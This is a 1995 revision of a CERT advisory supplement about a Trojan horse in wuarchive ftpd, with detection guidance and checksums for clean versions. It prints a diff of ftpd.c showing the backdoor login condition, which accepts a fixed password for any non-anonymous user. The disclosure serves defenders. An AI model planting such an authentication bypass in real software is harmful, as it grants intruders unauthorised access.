CA-94:07.README
Issue date:   April 6, 1994
Date of last revision: February 2, 1995

This file is a supplement to CERT Advisory CA-94:07 "wuarchive ftpd
Trojan Horse," and will be updated as additional information becomes
available.

////////////////////
Added April 7, 1994

The Trojan horse described in CA-94:07 provides a back-door password
for any username other than "anonymous." It would be trivial for an
intruder to modify the back-door password or other details of the
Trojan horse code.  The "diff" described in #1 below will help you
detect only the Trojan horse referenced in the advisory.  It will
not detect any other Trojan horses.


Clarifications:

1) If you have modified any version of the wuarchive ftpd and cannot
install the new version, 2.3, you may detect the existence of the
discovered Trojan horse with the following diff on ftpd.c:

1013,1015c1013,1014
<         if ((pw == NULL || *pw->pw_passwd == '\0' ||
<             strcmp(xpasswd, pw->pw_passwd)) &&
<             (strcmp(passwd, "NULL"))) {
---
>         if (pw == NULL || *pw->pw_passwd == '\0' ||
>             strcmp(xpasswd, pw->pw_passwd)) {


2) Since the versions containing the Trojan horse were found in a
number of locations, it is possible that your version of the wuarchive
ftpd software contains the Trojan horse regardless of the distribution
site from which you obtained the source code.

3) If you have any questions concerning the wuarchive ftpd software,
send mail to:

Bryan D. O'Connor
Office of the Network Coordinator                    
bryan@fegmania.wustl.edu
Washington University in Saint Louis         
http://fegmania.wustl.edu/~bryan

////////////////////
Added Feb. 2, 1995

A more recent version of the wuarchive (wu-ftpd-2.4) than was
cited in the advisory is available and the checksums for these
versions are listed below:

	CHECKSUMS 
	System V sum
	============
	51092    16  patch_2.3-2.4.Z
	20337   362  wu-ftpd-2.4.tar.Z

	Berkeley sum
	============
	09291     8  patch_2.3-2.4.Z
	38213   181  wu-ftpd-2.4.tar.Z

	md5 checksum
	============
	MD5 (patch_2.3-2.4.Z)   = 5558a04d9da7cdb1113b158aff89be8f
	MD5 (wu-ftpd-2.4.tar.Z) = cdcb237b71082fa23706429134d8c32e

////////////////////


